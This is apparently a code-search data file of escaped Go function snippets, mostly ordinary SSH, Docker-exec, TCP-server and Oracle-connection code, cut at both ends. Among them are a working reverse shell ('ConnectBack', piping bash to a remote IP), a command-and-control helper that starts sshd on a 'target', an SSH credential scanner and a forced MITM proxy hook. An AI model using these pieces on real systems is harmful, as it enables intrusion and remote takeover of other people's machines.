fmt.Sprintf(\"PATH=$PATH:/usr/bin:/usr/sbin %s\", cmd)\n\n\tif e.Locale != \"\" {\n\t\tcmd = fmt.Sprintf(\"export LANG=%s; %s\", e.Locale, cmd)\n\t}\n\n\t// run command on remote host\n\t// default timeout is 60s in easyssh-proxy\n\tif len(timeout) == 0 {\n\t\ttimeout = append(timeout, executeDefaultTimeout)\n\t}\n\n\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\n\n\tzap.L().Info(\"SSHCommand\",\n\t\tzap.String(\"host\", e.Config.Server),\n\t\tzap.String(\"port\", e.Config.Port),\n\t\tzap.String(\"cmd\", cmd),\n\t\tzap.Error(err),\n\t\tzap.String(\"stdout\", stdout),\n\t\tzap.String(\"stderr\", stderr))\n\n\tif err != nil {\n\t\tbaseErr := ErrSSHExecuteFailed.\n\t\t\tWrap(err, \"Failed to execute command over SSH for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t\tif len(stdout) > 0 || len(stderr) > 0 {\n\t\t\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \"\\n\"))\n\t\t\tbaseErr = baseErr.\n\t\t\t\tWithProperty(cliutil.SuggestionFromFormat(\"Command output on remote host %s:\\n%s\\n\",\n\t\t\t\t\te.Config.Server,\n\t\t\t\t\tcolor.YellowString(output)))\n\t\t}\n\t\treturn []byte(stdout), []byte(stderr), baseErr\n\t}\n\n\tif !done { // timeout case,\n\t\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\n\t\t\tWrap(err, \"Execute command over SSH timedout for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t}\n\n\treturn []byte(stdout), []byte(stderr), nil\n}", "func (p *Proxy) onConnect(host string, ctx *goproxy.ProxyCtx) (*goproxy.ConnectAction, string) {\n\treturn goproxy.MitmConnect, host\n}", "func SendCommand(conn net.Conn, cmd string) error {\n\tlog.Debug(\"Sending command: \" + cmd)\n\tif _, err := fmt.Fprintf(conn, cmd+\"\\n\"); err != nil {\n\t\treturn err\n\t}\n\tlog.Debug(\"Command \", cmd, \" successfuly send\")\n\treturn nil\n}", "func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}", "func (d *Docker) Connect(r *kite.Request) (interface{}, error) {\n\tvar params struct {\n\t\t// The ID of the container. This needs to be created and started before\n\t\t// we can use Connect.\n\t\tID string\n\n\t\t// Cmd contains the command which is executed and passed to the docker\n\t\t// exec api. If empty \"bash\" is used.\n\t\tCmd string\n\n\t\tSizeX, SizeY int\n\n\t\tRemote Remote\n\t}\n\n\tif err := r.Args.One().Unmarshal(&params); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif params.ID == \"\" {\n\t\treturn nil, errors.New(\"missing arg: container ID is empty\")\n\t}\n\n\tcmd := []string{\"bash\"}\n\tif params.Cmd != \"\" {\n\t\tcmd = strings.Fields(params.Cmd)\n\t}\n\n\tcreateOpts := dockerclient.CreateExecOptions{\n\t\tContainer: params.ID,\n\t\tTty: true,\n\t\tCmd: cmd,\n\t\t// we attach to anything, it's used in the same was as with `docker\n\t\t// exec`\n\t\tAttachStdout: true,\n\t\tAttachStderr: true,\n\t\tAttachStdin: true,\n\t}\n\n\t// now we create a new Exec instance. It will return us an exec ID which\n\t// will be used to start the created exec instance\n\td.log.Info(\"Creating exec instance\")\n\tex, err := d.client.CreateExec(createOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// these pipes are important as we are acting as a proxy between the\n\t// Browser (client side) and Docker Deamon. For example, every input coming\n\t// from the client side is being written into inWritePipe and this input is\n\t// then read by docker exec via the inReadPipe.\n\tinReadPipe, inWritePipe := io.Pipe()\n\toutReadPipe, outWritePipe := io.Pipe()\n\n\topts := dockerclient.StartExecOptions{\n\t\tDetach: false,\n\t\tTty: true,\n\t\tOutputStream: outWritePipe,\n\t\tErrorStream: outWritePipe, // this is ok, that's how tty works\n\t\tInputStream: inReadPipe,\n\t}\n\n\t// Control characters needs to be in ISO-8859 charset, so be sure that\n\t// UTF-8 writes are translated to this charset, for more info:\n\t// http://en.wikipedia.org/wiki/Control_character\n\tcontrolSequence, err := charset.NewWriter(\"ISO-8859-1\", inWritePipe)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terrCh := make(chan error)\n\tcloseCh := make(chan bool)\n\n\tserver := &Server{\n\t\tSession: ex.ID,\n\t\tremote: params.Remote,\n\t\tout: outReadPipe,\n\t\tin: inWritePipe,\n\t\tcontrolSequence: controlSequence,\n\t\tcloseChan: closeCh,\n\t\tclient: d.client,\n\t}\n\n\tgo func() {\n\t\td.log.Info(\"Starting exec instance '%s'\", ex.ID)\n\t\terr := d.client.StartExec(ex.ID, opts)\n\t\terrCh <- err\n\n\t\t// call the remote function that we ended the session\n\t\tserver.remote.SessionEnded.Call()\n\t}()\n\n\tgo func() {\n\t\tselect {\n\t\tcase err := <-errCh:\n\t\t\tif err != nil {\n\t\t\t\td.log.Error(\"startExec error: \", err)\n\t\t\t}\n\t\tcase <-closeCh:\n\t\t\t// once we close them the underlying hijack process in docker\n\t\t\t// client package will end too, which will close the underlying\n\t\t\t// connection once it's finished/returned.\n\t\t\tinReadPipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t\tinWritePipe.CloseWithError(errors.New(\"user closed the session\"))\n\n\t\t\toutReadPipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t\toutWritePipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t}\n\t}()\n\n\tvar once sync.Once\n\n\t// Read the STDOUT from shell process and send to the connected client.\n\t// https://github.com/koding/koding/commit/50cbd3609af93334150f7951dae49a23f71078f6\n\tgo func() {\n\t\tbuf := make([]byte, (1<<12)-utf8.UTFMax, 1<<12)\n\t\tfor {\n\t\t\tn, err := server.out.Read(buf)\n\t\t\tfor n < cap(buf)-1 {\n\t\t\t\tr, _ := utf8.DecodeLastRune(buf[:n])\n\t\t\t\tif r != utf8.RuneError {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tserver.out.Read(buf[n : n+1])\n\t\t\t\tn++\n\t\t\t}\n\n\t\t\t// we need to set it for the first time. Because \"StartExec\" is\n\t\t\t// called in a goroutine and it's blocking there is now way we know\n\t\t\t// when it's ready. Therefore we set the size only once when get an\n\t\t\t// output. After that the client side is setting the TTY size with\n\t\t\t// the Server.SetSize method, that is called everytime the client\n\t\t\t// side sends a size command to us.\n\t\t\tonce.Do(func() {\n\t\t\t\t// Y is height, X is width\n\t\t\t\terr = d.client.ResizeExecTTY(ex.ID, int(params.SizeY), int(params.SizeX))\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(\"error resizing\", err)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\td.log.Debug(\"Breaking out of for loop\")\n\t}()\n\n\td.log.Debug(\"Returning server\")\n\treturn server, nil\n}", "func (server *TcpServer) performCommand(conn net.Conn) {\n\tclient := server.addClient(conn)\n\tdefer server.disconnect(client)\n\tclient.Write(CommandFactoy(Welcome, \"\"))\n\tfor {\n\t\tcmd, err := client.Read()\n\t\tif err != nil {\n\t\t\tif cmd == nil || cmd.Name() == \"\" { // Client has disconnected\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"%s\", cmd.Error())\n\t\t\t\tclient.Write(cmd)\n\t\t\t}\n\t\t} else {\n\t\t\tif cmd.Name() == Quit {\n\t\t\t\terr := client.Write(cmd)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"%s\", err)\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tclient.Write(cmd)\n\t\t\t}\n\t\t}\n\t}\n}", "func sshCmds() ([]string, error) {\n\taddKeyCommand, err := config.GetString(\"docker:ssh:add-key-cmd\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkeyFile, err := config.GetString(\"docker:ssh:public-key\")\n\tif err != nil {\n\t\tif u, err := user.Current(); err == nil {\n\t\t\tkeyFile = path.Join(u.HomeDir, \".ssh\", \"id_rsa.pub\")\n\t\t} else {\n\t\t\tkeyFile = os.ExpandEnv(\"${HOME}/.ssh/id_rsa.pub\")\n\t\t}\n\t}\n\tf, err := filesystem().Open(keyFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tkeyContent, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsshdPath, err := config.GetString(\"docker:ssh:sshd-path\")\n\tif err != nil {\n\t\tsshdPath = \"/usr/sbin/sshd\"\n\t}\n\treturn []string{\n\t\tfmt.Sprintf(\"%s %s\", addKeyCommand, bytes.TrimSpace(keyContent)),\n\t\tsshdPath + \" -D\",\n\t}, nil\n}", "func ConnectBack(a agent.Agent, parameters []string) {\n\tvar ip = parameters[0]\n\tvar port = parameters[1]\n\n\t// Create arbitrary command.\n\tc := exec.Command(\"/bin/bash\")\n\n\t// Create TCP connection\n\tconn, _ := net.Dial(\"tcp\", ip+\":\"+port)\n\n\t// Start the command with a pty.\n\tptmx, err := pty.Start(c)\n\tif err != nil {\n\t\treturn\n\t}\n\t// Make sure to close the pty at the end.\n\tdefer func() { _ = ptmx.Close() }() // Best effort.\n\n\t// Handle pty size.\n\tch := make(chan os.Signal, 1)\n\tsignal.Notify(ch, syscall.SIGWINCH)\n\tgo func() {\n\t\tfor range ch {\n\t\t\tif err := pty.InheritSize(os.Stdin, ptmx); err != nil {\n\t\t\t\tlog.Printf(\"error resizing pty: %s\", err)\n\t\t\t}\n\t\t}\n\t}()\n\tch <- syscall.SIGWINCH // Initial resize.\n\n\t// Copy stdin to the pty and the pty to stdout.\n\tgo func() { _, _ = io.Copy(ptmx, conn) }()\n\t_, _ = io.Copy(conn, ptmx)\n\n\treturn\n}", "func (s *Ssh) Connect() (*ssh.Client, error) {\n\tdialString := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\tlogger.Yellow(\"ssh\", \"Connecting to %s as %s\", dialString, s.Username)\n\n\t// We have to call PublicKey() to make sure signer is initialized\n\tPublicKey()\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\tclient, err := ssh.Dial(\"tcp\", dialString, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}", "func (client *SSHClient) prepareCommand(session *ssh.Session, cmd *SSHCommand) error {\n\tfor _, env := range cmd.Env {\n\t\tvariable := strings.Split(env, \"=\")\n\t\tif len(variable) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tif err := session.Setenv(variable[0], variable[1]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif cmd.Stdin != nil {\n\t\tstdin, err := session.StdinPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stdin for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(stdin, cmd.Stdin)\n\t}\n\n\tif cmd.Stdout != nil {\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stdout for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(cmd.Stdout, stdout)\n\t}\n\n\tif cmd.Stderr != nil {\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stderr for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(cmd.Stderr, stderr)\n\t}\n\n\treturn nil\n}", "func (c *Client) Exec(cmd string) ([]byte, error) {\n\tsession, err := c.SSHClient.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\n\treturn session.CombinedOutput(cmd)\n}", "func (n *NetworkConnectCommand) runNetworkConnect(args []string) error {\n\tnetwork := args[0]\n\tcontainer := args[1]\n\tif network == \"\" {\n\t\treturn fmt.Errorf(\"network name cannot be empty\")\n\t}\n\tif container == \"\" {\n\t\treturn fmt.Errorf(\"container name cannot be empty\")\n\t}\n\n\tnetworkReq := &types.NetworkConnect{\n\t\tContainer: container,\n\t\tEndpointConfig: &types.EndpointSettings{\n\t\t\tIPAMConfig: &types.EndpointIPAMConfig{\n\t\t\t\tIPV4Address: n.ipAddress,\n\t\t\t\tIPV6Address: n.ipv6Address,\n\t\t\t\tLinkLocalIps: n.linklocalips,\n\t\t\t},\n\t\t\tLinks: n.links,\n\t\t\tAliases: n.aliases,\n\t\t},\n\t}\n\n\tctx := context.Background()\n\tapiClient := n.cli.Client()\n\terr := apiClient.NetworkConnect(ctx, network, networkReq)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Printf(\"container %s is connected to network %s\\n\", container, network)\n\n\treturn nil\n}", "func tapConnect(ch *api.Channel) {\n\treq := &tap.TapConnect{\n\t\tTapName: []byte(\"testtap\"),\n\t\tUseRandomMac: 1,\n\t}\n\n\t// send the request to the request go channel\n\tch.ReqChan <- &api.VppRequest{Message: req}\n\n\t// receive a reply from the reply go channel\n\tvppReply := <-ch.ReplyChan\n\tif vppReply.Error != nil {\n\t\tfmt.Println(\"Error:\", vppReply.Error)\n\t\treturn\n\t}\n\n\t// decode the message\n\treply := &tap.TapConnectReply{}\n\terr := ch.MsgDecoder.DecodeMsg(vppReply.Data, reply)\n\n\tif err != nil {\n\t\tfmt.Println(\"Error:\", err)\n\t} else {\n\t\tfmt.Printf(\"%+v\\n\", reply)\n\t}\n}", "func (this Scanner) Scan(target, cmd string, cred scanners.Credential, outChan chan scanners.Result) {\n\t// Add port 22 to the target if we didn't get a port from the user.\n\tif !strings.Contains(target, \":\") {\n\t\ttarget = target + \":22\"\n\t}\n\n\tvar config ssh.ClientConfig\n\tvar err error\n\n\t// Let's assume that we connected successfully and declare the data as such, we can edit it later if we failed\n\tresult := scanners.Result{\n\t\tHost: target,\n\t\tAuth: cred,\n\t\tMessage: \"Successfully connected\",\n\t\tStatus: true,\n\t\tOutput: \"\",\n\t}\n\n\t// Depending on the authentication type, run the correct connection function\n\tswitch cred.Type {\n\tcase \"basic\":\n\t\tconfig, err = this.prepPassConfig(cred.Account, cred.AuthData)\n\tcase \"sshkey\":\n\t\tconfig, err = this.prepCertConfig(cred.Account, cred.AuthData)\n\t}\n\n\t// Return if we got an error.\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t_, session, err := this.connect(cred.Account, target, config)\n\n\t// If we got an error, let's set the data properly\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t// If we didn't get an error and we have a command to run, let's do it.\n\tif err == nil && cmd != \"\" {\n\t\t// Execute the command\n\t\tresult.Output, err = this.executeCommand(cmd, session)\n\t\tif err != nil {\n\t\t\t// If we got an error, let's give the user some output.\n\t\t\tresult.Output = \"Script Error: \" + err.Error()\n\t\t}\n\t}\n\n\t// Finally, let's pass our result to the proper channel to write out to the user\n\toutChan <- result\n}", "func sshexec(cmd string) (string, error) {\n\tout, err := exec.Command(\"ssh\", \"-T\", \"root@localhost\", cmd).CombinedOutput()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"ssh:%s error:%s\", string(out), err)\n\t}\n\treturn string(out), nil\n}", "func getConn(addr string) (net.Conn, error) {\n\tswitch {\n\tdefault:\n\t\tfallthrough\n\tcase strings.Index(addr, \"tcp://\") == 0:\n\t\treturn net.DialTimeout(\"tcp\", strings.Replace(addr, \"tcp://\", \"\", -1), time.Second*30)\n\tcase strings.Index(addr, \"ssh://\") == 0:\n\t\tspec := strings.Replace(addr, \"ssh://\", \"\", -1)\n\t\t// split on the arrow\n\t\tparts := strings.SplitN(spec, \"->\", 2)\n\t\tif len(parts) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"invalid ssh connection spec; we are tunneling here\")\n\t\t}\n\n\t\tsshHost := parts[0]\n\t\ttunHost := parts[1]\n\n\t\tvar uname string\n\t\tvar sysUser *user.User\n\t\tif hu := strings.Index(sshHost, \"@\"); hu != -1 {\n\t\t\tuname = sshHost[:hu]\n\t\t\tsshHost = sshHost[hu+1:]\n\t\t} else {\n\t\t\tu, err := user.Current()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error getting current user: %s\", err)\n\t\t\t}\n\t\t\tuname = u.Username\n\t\t}\n\n\t\tvar keyCheck ssh.HostKeyCallback\n\t\tif sysUser != nil {\n\t\t\tvar err error\n\t\t\tkeyCheck, err = knownhosts.New(fmt.Sprintf(\"%s/.ssh/known_hosts\", sysUser.HomeDir))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error opening known hosts db: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tkeyCheck = ssh.InsecureIgnoreHostKey()\n\t\t}\n\n\t\tsc := &ssh.ClientConfig{\n\t\t\tUser: uname,\n\t\t\tHostKeyCallback: keyCheck,\n\t\t\tTimeout: time.Second * 30,\n\t\t\tAuth: []ssh.AuthMethod{ssh.PublicKeysCallback(getSSHKeys)},\n\t\t}\n\n\t\tfmt.Printf(\"connecting to %s@%s\", uname, sshHost)\n\t\tsshCon, err := ssh.Dial(\"tcp\", sshHost, sc)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error connecting to ssh host: %s\", err)\n\t\t}\n\n\t\tfcon, err := sshCon.Dial(\"tcp\", tunHost)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error connecting through tunnel: %s\", err)\n\t\t}\n\t\treturn fcon, nil\n\t}\n}", "func (conn *Connection) Connect(mode int64, twophase bool /*, newPassword string*/) error {\n\tcredentialType := C.OCI_CRED_EXT\n\tvar (\n\t\tstatus C.sword\n\t\terr error\n\t)\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif conn.sessionHandle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.sessionHandle),\n\t\t\t\t\tC.OCI_HTYPE_SESSION)\n\t\t\t}\n\t\t\tif conn.handle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.handle),\n\t\t\t\t\tC.OCI_HTYPE_SVCCTX)\n\t\t\t}\n\t\t\tif conn.serverHandle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.serverHandle),\n\t\t\t\t\tC.OCI_HTYPE_SERVER)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// allocate the server handle\n\tif ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SERVER,\n\t\t(*unsafe.Pointer)(unsafe.Pointer(&conn.serverHandle)),\n\t\t\"Connect[allocate server handle]\"); err != nil {\n\t\treturn err\n\t}\n\n\t// attach to the server\n\t/*\n\t if (cxBuffer_FromObject(&buffer, self->dsn,\n\t self->environment->encoding) < 0)\n\t return -1;\n\t*/\n\n\tbuffer := make([]byte, max(16, len(conn.dsn), len(conn.username), len(conn.password))+1)\n\tcopy(buffer, []byte(conn.dsn))\n\tbuffer[len(conn.dsn)] = 0\n\t// dsn := C.CString(conn.dsn)\n\t// defer C.free(unsafe.Pointer(dsn))\n\t// Py_BEGIN_ALLOW_THREADS\n\tconn.srvMtx.Lock()\n\t// log.Printf(\"buffer=%s\", buffer)\n\tstatus = C.OCIServerAttach(conn.serverHandle,\n\t\tconn.environment.errorHandle, (*C.OraText)(&buffer[0]),\n\t\tC.sb4(len(buffer)), C.OCI_DEFAULT)\n\t// Py_END_ALLOW_THREADS\n\tconn.srvMtx.Unlock()\n\t// cxBuffer_Clear(&buffer);\n\tif err = conn.environment.CheckStatus(status, \"Connect[server attach]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"attached to server %s\", conn.serverHandle)\n\n\t// allocate the service context handle\n\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SVCCTX, (*unsafe.Pointer)(unsafe.Pointer(&conn.handle)),\n\t\t\"Connect[allocate service context handle]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"allocated service context handle\")\n\n\t// set attribute for server handle\n\tif err = conn.AttrSet(C.OCI_ATTR_SERVER, unsafe.Pointer(conn.serverHandle), 0); err != nil {\n\t\tsetErrAt(err, \"Connect[set server handle]\")\n\t\treturn err\n\t}\n\n\t// set the internal and external names; these are needed for global\n\t// transactions but are limited in terms of the lengths of the strings\n\tif twophase {\n\t\tname := []byte(\"goracle\")\n\t\tcopy(buffer, name)\n\t\tbuffer[len(name)] = 0\n\n\t\tif err = conn.ServerAttrSet(C.OCI_ATTR_INTERNAL_NAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set internal name]\")\n\t\t\treturn err\n\t\t}\n\t\tif err = conn.ServerAttrSet(C.OCI_ATTR_EXTERNAL_NAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set external name]\")\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// allocate the session handle\n\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SESSION,\n\t\t(*unsafe.Pointer)(unsafe.Pointer(&conn.sessionHandle)),\n\t\t\"Connect[allocate session handle]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"allocated session handle\")\n\n\t// set user name in session handle\n\tif conn.username != \"\" {\n\t\tcopy(buffer, []byte(conn.username))\n\t\tbuffer[len(conn.username)] = 0\n\t\tcredentialType = C.OCI_CRED_RDBMS\n\n\t\tif err = conn.SessionAttrSet(C.OCI_ATTR_USERNAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(conn.username)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set user name]\")\n\t\t\treturn err\n\t\t}\n\t\t// log.Printf(\"set user name %s\", buffer)\n\t}\n\n\t// set password in session handle\n\tif conn.password != \"\" {\n\t\tcopy(buffer, []byte(conn.password))\n\t\tbuffer[len(conn.password)] = 0\n\t\tcredentialType = C.OCI_CRED_RDBMS\n\t\tif err = conn.SessionAttrSet(C.OCI_ATTR_PASSWORD,\n\t\t\tunsafe.Pointer(&buffer[0]), len(conn.password)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set password]\")\n\t\t\treturn err\n\t\t}\n\t\t// log.Printf(\"set password %s\", buffer)\n\t}\n\n\t/*\n\t #ifdef OCI_ATTR_DRIVER_NAME\n\t status = OCIAttrSet(self->sessionHandle, OCI_HTYPE_SESSION,\n\t (text*) DRIVER_NAME, strlen(DRIVER_NAME), OCI_ATTR_DRIVER_NAME,\n\t self->environment->errorHandle);\n\t if (Environment_CheckForError(self->environment, status,\n\t \"Connection_Connect(): set driver name\") < 0)\n\t return -1;\n\n\t #endif\n\t*/\n\n\t// set the session handle on the service context handle\n\tif err = conn.AttrSet(C.OCI_ATTR_SESSION,\n\t\tunsafe.Pointer(conn.sessionHandle), 0); err != nil {\n\t\tsetErrAt(err, \"Connect[set session handle]\")\n\t\treturn err\n\t}\n\n\t/*\n\t // if a new password has been specified, change it which will also\n\t // establish the session\n\t if (newPasswordObj)\n\t return Connection_ChangePassword(self, self->password, newPasswordObj);\n\t*/\n\n\t// begin the session\n\t// Py_BEGIN_ALLOW_THREADS\n\tconn.srvMtx.Lock()\n\tstatus = C.OCISessionBegin(conn.handle, conn.environment.errorHandle,\n\t\tconn.sessionHandle, C.ub4(credentialType), C.ub4(mode))\n\t// Py_END_ALLOW_THREADS\n\tconn.srvMtx.Unlock()\n\tif err = conn.environment.CheckStatus(status, \"Connect[begin session]\"); err != nil {\n\t\tconn.sessionHandle = nil\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *SSHClient) Connect(host, port string) error {\n\tclient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", host, port), c.config)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.client = client\n\n\treturn nil\n}", "func NewCommand(s genopts.IOStreams) *cobra.Command {\n\tcfg := newConfig(s)\n\tcmd := &cobra.Command{\n\t\tUse: \"kubectl-ssh [flags] [node-name]\",\n\t\tShort: \"SSH into a specific Kubernetes node in a cluster or into an arbitrary node matching selectors\",\n\t\tExample: fmt.Sprintf(usage, \"kubectl-ssh\"),\n\t\tSilenceUsage: true,\n\t}\n\tcmd.Flags().StringVar(&cfg.Login, \"login\", os.Getenv(\"KUBECTL_SSH_DEFAULT_USER\"),\n\t\t`Specifies the user to log in as on the remote machine (defaults to KUBECTL_SSH_DEFAULT_USER environment)`)\n\n\tr := &runner{\n\t\tconfig: cfg,\n\t}\n\tr.Bind(cmd)\n\treturn cmd\n}", "func (m *Mothership) CLICommand() string {\n\ttlsFlag := \"\"\n\tif m.NoTLS {\n\t\ttlsFlag = \"--notls\"\n\t}\n\tvar tlsInsecureFlag string\n\tif !m.VerifyTLS {\n\t\ttlsInsecureFlag = \"--tlsInsecureSkipVerify\"\n\t}\n\tbin := fmt.Sprintf(\"%s --username %s --password %s --host %s --port %d %s %s\",\n\t\tm.Binary,\n\t\tm.Username,\n\t\tm.Password,\n\t\tm.Host,\n\t\tm.Port,\n\t\ttlsFlag,\n\t\ttlsInsecureFlag)\n\treturn strings.Join(strings.Fields(bin), \" \")\n}", "func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}", "func Command(name string, arg ...string) *Cmd {}", "func SSHClient(shell, port string) (err error) {\n\tif !util.IsCommandExist(\"ssh\") {\n\t\terr = fmt.Errorf(\"ssh must be installed\")\n\t\treturn\n\t}\n\n\t// is port mapping already done?\n\tlport := strconv.Itoa(util.RandInt(2048, 65535))\n\tto := \"127.0.0.1:\" + port\n\texists := false\n\tfor _, p := range PortFwds {\n\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\texists = true\n\t\t\tlport = p.Lport // use the correct port\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !exists {\n\t\t// start sshd server on target\n\t\tcmd := fmt.Sprintf(\"!sshd %s %s %s\", shell, port, uuid.NewString())\n\t\tif shell != \"bash\" {\n\t\t\terr = SendCmdToCurrentTarget(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tCliPrintInfo(\"Starting sshd (%s) on target %s\", shell, strconv.Quote(CurrentTarget.Tag))\n\n\t\t\t// wait until sshd is up\n\t\t\tdefer func() {\n\t\t\t\tCmdResultsMutex.Lock()\n\t\t\t\tdelete(CmdResults, cmd)\n\t\t\t\tCmdResultsMutex.Unlock()\n\t\t\t}()\n\t\t\tfor {\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\tres, exists := CmdResults[cmd]\n\t\t\t\tif exists {\n\t\t\t\t\tif strings.Contains(res, \"success\") {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t} else {\n\t\t\t\t\t\terr = fmt.Errorf(\"Start sshd failed: %s\", res)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// set up port mapping for the ssh session\n\t\tCliPrintInfo(\"Setting up port mapping for sshd\")\n\t\tpf := &PortFwdSession{}\n\t\tpf.Ctx, pf.Cancel = context.WithCancel(context.Background())\n\t\tpf.Lport, pf.To = lport, to\n\t\tgo func() {\n\t\t\terr = pf.RunPortFwd()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"PortFwd failed: %v\", err)\n\t\t\t\tCliPrintError(\"Start port mapping for sshd: %v\", err)\n\t\t\t}\n\t\t}()\n\t\tCliPrintInfo(\"Waiting for response from %s\", CurrentTarget.Tag)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// wait until the port mapping is ready\n\texists = false\nwait:\n\tfor i := 0; i < 100; i++ {\n\t\tif exists {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(100 * time.Millisecond)\n\t\tfor _, p := range PortFwds {\n\t\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\t\texists = true\n\t\t\t\tbreak 